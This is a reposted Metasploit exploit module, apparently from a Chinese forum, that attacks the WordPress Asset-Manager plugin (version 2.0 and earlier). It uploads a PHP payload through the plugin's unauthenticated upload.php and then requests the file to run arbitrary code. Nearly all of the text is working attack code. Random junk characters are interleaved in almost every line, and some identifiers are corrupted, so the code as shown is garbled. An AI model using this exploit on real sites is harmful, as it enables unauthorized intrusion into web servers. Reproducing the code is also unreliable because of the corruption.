这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
8 Q2 @/ O- H$ X) `$ W& S8 M" W$ J5 A g
##
. n3 V; h( u, T$ B# This file is part of the Metasploit Framework and may be subject to" N# s+ R* K# ^7 t& k3 }
# redistribution and commercial restrictions. Please see the Metasploit
2 o1 Y3 E& s/ }$ l: h: S# Framework web site for more information on licensing and terms of use.
0 W6 E+ Q O7 P. P4 h2 Z$ k# http://metasploit.com/framework/
/ z4 w" h8 [3 a4 [2 H: k### m* H( J" A+ E: I& b$ d9 x
7 v5 q! `4 O* E' T* Y: C
require 'msf/core'
: Y: M6 r8 `% q/ ^1 t E! crequire 'msf/core/exploit/php_exe'
0 e: A& }8 E! P& `) U; b& D
, M5 x8 k/ g0 m7 T. m7 pclass Metasploit3 < Msf::Exploit::Remote
2 i* S# r5 }9 d4 Z; m Rank = ExcellentRanking
2 {% [3 o$ g5 p) z
1 r2 j! s, H+ l; n- @ include Msf::Exploit::Remote::HttpClient* \7 F3 ^1 K# G8 G
include Msf::Exploit: hpEXE0 K9 H% P) S7 s" B) C
& k' X: p4 T& f. p( j( J' u
def initialize(info = {})( Q' c' W2 r; h4 u
super(update_info(info,
4 |* x4 z+ q$ s/ d$ R) Y 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',4 \& S; j% \' |+ ^! \$ h6 j3 w
'Description' => %q{3 m. ^! Q. I' v j" X
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress+ [ c y; k, ]6 R
plugin. By abusing the upload.php file, a malicious user can upload a file to a4 U# [3 ?8 Y1 }8 x& J
temp directory without authentication, which results in arbitrary code execution.5 I7 X9 z' c1 Y
},* S) [6 g- d1 |2 ]& u+ c3 @' N Q( J
'Author' =>
) e5 e: S1 E6 ^1 H7 a0 Q' s [, D) _/ W+ g3 H3 X6 {
'Sammy FORGIT', # initial discovery
. [* e) A2 Q; r" d* |" j 'James Fitts <fitts.james[at]gmail.com>' # metasploit module. ]0 e9 H1 C' k6 G
],
3 C; t. ~# Y6 Q9 B. g, w 'License' => MSF_LICENSE,3 M1 X# N' M" ?( C+ a4 f4 z6 s
'References' =>
9 S. k' v' Z& l6 e2 e0 ^& B [- q5 ]( Q& p" q% V
[ 'OSVDB', '82653' ],
" C, f' n5 t+ V [ 'BID', '53809' ],
4 J) i1 }3 b" b, r; f" e [ 'EDB', '18993' ],
1 _% r: a8 F$ K" w3 _, k [ 'URL', 'http:// www.myhack58.com /' ]4 r+ V+ |4 u. K+ b" ~
],
0 M' h ?8 p% [7 l# \% x* s" Q# s 'Payload' =># Q8 H! Q! I% M* ~! {7 m
{
) M& O% j6 j0 ]; t 'BadChars' => "\x00",( n# U8 l* j" O2 Z: k" Y8 j
},2 O6 \! C, D; w; K H0 b7 |" @
'Platform' => 'php',
, _4 J3 @ V8 \( s 'Arch' => ARCH_PHP,
8 ]' |9 \$ e7 F+ v$ V 'Targets' =>
+ ]; K6 e& J; `" E8 K [8 o S- \: l3 f
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
5 G) _ H0 ^& F4 A' I [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]$ f! ~6 C/ \; l0 f' U; E4 R
],! L0 ^' q) b" T; }8 K3 k' c5 a
'DefaultTarget' => 0,) I5 j4 z4 T7 w: y. V' Y, f
'DisclosureDate' => 'May 26 2012'))
: h) F: z; U. {' {: [9 z2 i ( R, W4 Z4 P- m7 _3 Z% V8 s: t
register_options(
0 L. s+ k5 c( j" ~8 Z [
$ T; {% \0 Q; E* ?! @( G3 q OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
8 A* c0 a$ G& C0 y4 H ], self.class)7 d$ N8 m! o0 O
end9 G: w% W% J4 U1 o4 A# E7 |
8 S( w" E3 I- [
def exploit) S; n6 I: @$ ^5 Q6 f6 b1 Y
uri = target_uri.path
; }: ]+ y8 `; \0 V uri << '/' if uri[-1,1] != '/'& v$ @2 E* k$ s: p) o6 h: s k
peer = "#{rhost}:#{rport}"
4 B4 U; `! ]9 Q( q payload_name = "#{rand_text_alpha(5)}.php"* X, C, _5 q' C8 z3 C! I
php_payload = get_write_exec_payload(:unlink_self=>true)3 Y6 {% n- w: k5 R5 D `" t
4 W( m7 H' f; ^ data = Rex::MIME::Message.new* @) N/ L2 ~& l0 o4 m; Y! G
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
) @1 e4 p, @! Y3 ^6 d$ S post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') D4 E& O4 }. c7 l
; q& `9 {: c2 ~- R+ S& H5 k
print_status("#{peer} - Uploading payload #{payload_name}")
* Q# V; ^! l9 K7 Y$ @2 _ res = send_request_cgi({
+ C; s5 V# v2 k8 d# }- J" E 'method' => 'POST',
+ R1 y$ _ S, Y$ z, E 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",/ r, o* r' M2 O, ]/ w
'ctype' => "multipart/form-data; boundary=#{data.bound}",
$ |# w0 l6 I8 M4 c- G) s 'data' => post_data
4 `- z7 g$ R9 W: u. ? })
* a8 W, x( f4 t8 s9 n
9 x, S6 J- b8 O" y3 ]% w if not res or res.code != 200 or res.body !~ /#{payload_name}/
- }( N/ j( ]$ X fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")" I) j% i5 [* d
end* I" O$ i. p/ Y3 |
' T* T+ x7 r% n: v3 H/ J
print_status("#{peer} - Executing payload #{payload_name}")
/ r/ }+ v/ H. c/ V" D res = send_request_raw({0 a5 i" x+ U0 y8 L0 u
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
5 N2 H+ d( W, C2 C/ g4 X 'method' => 'GET'1 O0 y+ c+ E1 D" g, L: S
})
9 i0 u+ y' P. n# T9 H `! F [ & R e L# J% B9 ?% ^- o
if res and res.code != 200
! o. J( R& D i. b fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
" u; e, e! w5 s: Q9 V% V/ | end+ u" e+ W+ u% W' g
end
. q( h" u- W6 a; Qend
$ `) M) Z9 X; W |